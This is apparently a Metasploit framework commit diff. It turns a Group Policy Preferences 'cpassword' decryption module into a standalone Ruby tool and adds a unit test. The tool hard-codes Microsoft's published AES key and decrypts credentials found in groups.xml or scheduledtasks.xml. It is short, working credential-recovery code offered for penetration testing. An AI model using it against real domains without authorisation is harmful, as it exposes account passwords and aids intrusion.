Convert gpp_standalone.rb into a standalone script in tools
This commit is contained in:
parent
29f6740056
commit
284b3507ce
|
@ -1,66 +0,0 @@
|
|||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Auxiliary
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Group Policy "cpassword" Decrypt Standalone',
|
||||
'Description' => %q{
|
||||
This module will allow you to specify an encrypted cpassword string
|
||||
using the Microsofts public AES key. This is useful if you don't or
|
||||
can't use the GPP post exploitation module. Just paste the cpassword
|
||||
encrypted string and it will output the decrypted string for you.
|
||||
|
||||
Tested Windows Server 2008 R2 Domain Controller.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>[
|
||||
'Ben Campbell <eat_meatballs[at]hotmail.co.uk>',
|
||||
'Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>',
|
||||
'scriptmonkey <scriptmonkey[at]owobble.co.uk>',
|
||||
'theLightCosine',
|
||||
'mubix', #domain/dc enumeration code
|
||||
'David Kennedy "ReL1K" <kennedyd013[at]gmail.com>' # made the standalone module for a straight password decrypt - useful for when you need to manually grab the groups.xml or scheduledtasks.xml manually and need to decrypt without running post exploitation module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
['URL', 'http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences'],
|
||||
['URL', 'http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)'],
|
||||
['URL', 'http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html'],
|
||||
['URL', 'http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx']
|
||||
],
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('CPASSWORD', [ true, "The encrypted cpassword string to perform decryption on."]),
|
||||
], self.class)
|
||||
|
||||
end
|
||||
|
||||
def decrypt(encrypted_data)
|
||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
||||
epassword = "#{encrypted_data}#{padding}"
|
||||
decoded = Rex::Text.decode_base64(epassword)
|
||||
key = "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
plaintext = aes.update(decoded)
|
||||
plaintext << aes.final
|
||||
pass = plaintext.unpack('v*').pack('C*') # UNICODE conversion
|
||||
print_good("The decrypted AES password is: #{pass}")
|
||||
|
||||
end
|
||||
|
||||
def run
|
||||
encrypted_data = datastore['CPASSWORD']
|
||||
pass = decrypt(encrypted_data)
|
||||
|
||||
end
|
||||
end
|
|
@ -0,0 +1,31 @@
|
|||
require 'spec_helper'
|
||||
|
||||
load Metasploit::Framework.root.join('tools/cpassword_decrypt.rb').to_path
|
||||
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
require 'msf/base'
|
||||
|
||||
describe CPassword do
|
||||
context "Class methods" do
|
||||
let(:cpasswd) do
|
||||
CPassword.new
|
||||
end
|
||||
|
||||
context ".decrypt" do
|
||||
it "should return the decrypted password as 'testpassword'" do
|
||||
# Encrypted password for "testpassword"
|
||||
cpass = "AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk"
|
||||
pass = cpasswd.decrypt(cpass)
|
||||
pass.should eq('testpassword')
|
||||
end
|
||||
|
||||
it "should return an empty string due to a bad password" do
|
||||
# Invalid password format
|
||||
cpass = "BadPassword"
|
||||
pass = cpasswd.decrypt(cpass)
|
||||
pass.should eq('')
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,132 @@
|
|||
#!/usr/bin/env ruby
|
||||
|
||||
##
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
#
|
||||
# This script will allow you to specify an encrypted cpassword string using the Microsofts public
|
||||
# AES key. This is useful if you don't or can't use the GPP post exploitation module. Just paste
|
||||
# the cpassword encrypted string found in groups.xml or scheduledtasks.xml and it will output the
|
||||
# decrypted string for you.
|
||||
#
|
||||
# Tested Windows Server 2008 R2 Domain Controller.
|
||||
#
|
||||
# Authors:
|
||||
# Ben Campbell <eat_meatballs[at]hotmail.co.uk>
|
||||
# Loic Jaquemet <loic.jaquemet+msf[at]gmail.com>
|
||||
# scriptmonkey <scriptmonkey[at]owobble.co.uk>
|
||||
# theLightCosine
|
||||
# mubix (domain/dc enumeration code)
|
||||
# David Kennedy "ReL1K" <kennedyd013[at]gmail.com>
|
||||
#
|
||||
# References:
|
||||
# http://esec-pentest.sogeti.com/exploiting-windows-2008-group-policy-preferences
|
||||
# http://msdn.microsoft.com/en-us/library/cc232604(v=prot.13)
|
||||
# http://rewtdance.blogspot.com/2012/06/exploiting-windows-2008-group-policy.html
|
||||
# http://blogs.technet.com/grouppolicy/archive/2009/04/22/passwords-in-group-policy-preferences-updated.aspx
|
||||
#
|
||||
# Demo:
|
||||
# $ ./cpassword_decrypt.rb AzVJmXh/J9KrU5n0czX1uBPLSUjzFE8j7dOltPD8tLk
|
||||
# [+] The decrypted AES password is: testpassword
|
||||
#
|
||||
|
||||
msfbase = __FILE__
|
||||
while File.symlink?(msfbase)
|
||||
msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase))
|
||||
end
|
||||
|
||||
$:.unshift(File.expand_path(File.join(File.dirname(msfbase), '..', 'lib')))
|
||||
require 'fastlib'
|
||||
require 'msfenv'
|
||||
require 'rex'
|
||||
|
||||
|
||||
class CPassword
|
||||
|
||||
#
|
||||
# Decrypts the AES-encrypted cpassword string
|
||||
# @param encrypted_data [String] The encrypted cpassword
|
||||
# @return [String] The decrypted string in ASCII
|
||||
#
|
||||
def decrypt(encrypted_data)
|
||||
# Prepare the password for the decoder
|
||||
padding = "=" * (4 - (encrypted_data.length % 4))
|
||||
epassword = "#{encrypted_data}#{padding}"
|
||||
|
||||
# Decode the string using Base64
|
||||
decoded = Rex::Text.decode_base64(epassword)
|
||||
|
||||
# Decryption
|
||||
key = ''
|
||||
key << "\x4e\x99\x06\xe8\xfc\xb6\x6c\xc9\xfa\xf4\x93\x10\x62\x0f\xfe\xe8\xf4\x96\xe8\x06\xcc"
|
||||
key << "\x05\x79\x90\x20\x9b\x09\xa4\x33\xb6\x6c\x1b"
|
||||
begin
|
||||
aes = OpenSSL::Cipher::Cipher.new("AES-256-CBC")
|
||||
aes.decrypt
|
||||
aes.key = key
|
||||
plaintext = aes.update(decoded)
|
||||
plaintext << aes.final
|
||||
rescue OpenSSL::Cipher::CipherError
|
||||
# Decryption failed possibily due to bad input
|
||||
return ''
|
||||
end
|
||||
|
||||
# Converts the string to ASCII
|
||||
Rex::Text.to_ascii(plaintext)
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Shows script usage
|
||||
#
|
||||
def usage
|
||||
print_status("Usage: #{__FILE__} [The encrypted cpassword string]")
|
||||
exit
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Prints a status message
|
||||
#
|
||||
def print_status(msg='')
|
||||
$stderr.puts "[*] #{msg}"
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Prints an error message
|
||||
#
|
||||
def print_error(msg='')
|
||||
$stderr.puts "[-] #{msg}"
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# Prints a good message
|
||||
#
|
||||
def print_good(msg='')
|
||||
$stderr.puts "[+] #{msg}"
|
||||
end
|
||||
|
||||
|
||||
#
|
||||
# main
|
||||
#
|
||||
if __FILE__ == $PROGRAM_NAME
|
||||
pass = ARGV.shift
|
||||
|
||||
# Input check
|
||||
usage if pass.nil? or pass.empty?
|
||||
|
||||
cpasswd = CPassword.new
|
||||
pass = cpasswd.decrypt(pass)
|
||||
|
||||
if pass.empty?
|
||||
print_error("Nothing was decrypted, please check your input.")
|
||||
else
|
||||
print_good("The decrypted AES password is: #{pass}")
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue